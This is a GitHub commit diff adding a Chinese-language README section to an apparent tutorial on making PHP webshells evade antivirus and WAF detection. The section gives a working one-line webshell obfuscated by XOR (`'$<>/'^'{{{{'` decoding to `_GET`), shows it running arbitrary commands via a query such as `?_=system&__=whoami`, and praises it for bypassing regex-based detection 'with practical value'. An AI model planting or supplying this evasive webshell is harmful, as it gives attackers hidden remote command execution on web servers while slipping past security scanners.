Skip to content

Commit 9fee424

Browse files
authored
Update README.md
1 parent a3e3af2 commit 9fee424

File tree

1 file changed

+32
-0
lines changed

1 file changed

+32
-0
lines changed

README.md

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1254,6 +1254,38 @@ $f($_GET['b']);
12541254

12551255
为什么要写入为 `system.aabyss` 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了
12561256

1257+
## 12# 多姿势配合免杀
1258+
1259+
将以上提到的相关姿势,进行多种配合嵌套,实现免杀效果
1260+
1261+
### 12.1 样例一
1262+
1263+
刚开始看这个样例我还是挺惊讶的,仔细分析了一波,发现还是挺简单的,但重在思路
1264+
这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义
1265+
1266+
```php
1267+
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
1268+
```
1269+
这时候,就可以执行GET传参:`?_=system&__=whoami` 来执行whoami命令
1270+
1271+
由8.1讲到PHP中如何异或,我们就先把最前面这部分拆出来看看
1272+
```php
1273+
<?=~$_='$<>/'^'{{{{';
1274+
//即 '$<>/' ^ '{{{{'
1275+
//即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或
1276+
```
1277+
所以由我们前面所学的知识,加上自己动手实践一下,可以发现异或结果为 `_GET`
1278+
1279+
所以整个PHP语句解密后,再将 `_` 替换为 `a`,将 `__` 替换为 `b`,则原PHP转化为:
1280+
```php
1281+
$_GET['a']($_GET['b'])
1282+
```
1283+
当我们给 `a``system`,给 `b``whoami`,原式就会变成这样
1284+
```php
1285+
system('whoami');
1286+
```
1287+
所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~
1288+
12571289

12581290
# 四,总结
12591291

0 commit comments

Comments
 (0)